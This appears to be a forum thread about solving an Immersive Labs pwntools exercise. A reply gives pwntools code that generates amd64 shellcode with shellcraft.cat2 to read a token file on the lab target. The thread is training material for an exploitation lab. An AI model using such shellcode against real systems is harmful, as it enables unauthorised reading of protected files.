Forum Discussion
kdkstudies
Bronze I
5 months agoNeed Help for Pwntools: Ep. 6 — Demonstrate Your Skills
I'm trying to solve an lab in Immersive labs Pwntools: Ep. 6 — Demonstrate Your Skills And I got stuck in the last step. I've tried the solution for using cat2 (from https://www.reddit.com/r/immers...
IotS2024
Bronze III
5 months agoFor me the following worked:
# Generate shellcode to read the file using pwntools shellcraft
context.arch = "amd64"
# Generate shellcode using shellcraft to read file and print the content as hex
shellcode = asm(shellcraft.cat2("/home/token-user/token.txt"))
- steven5 months ago
Silver II
yeah.. as I wrote above... remote :)
and:context.arch = 'amd64' context.os = 'linux'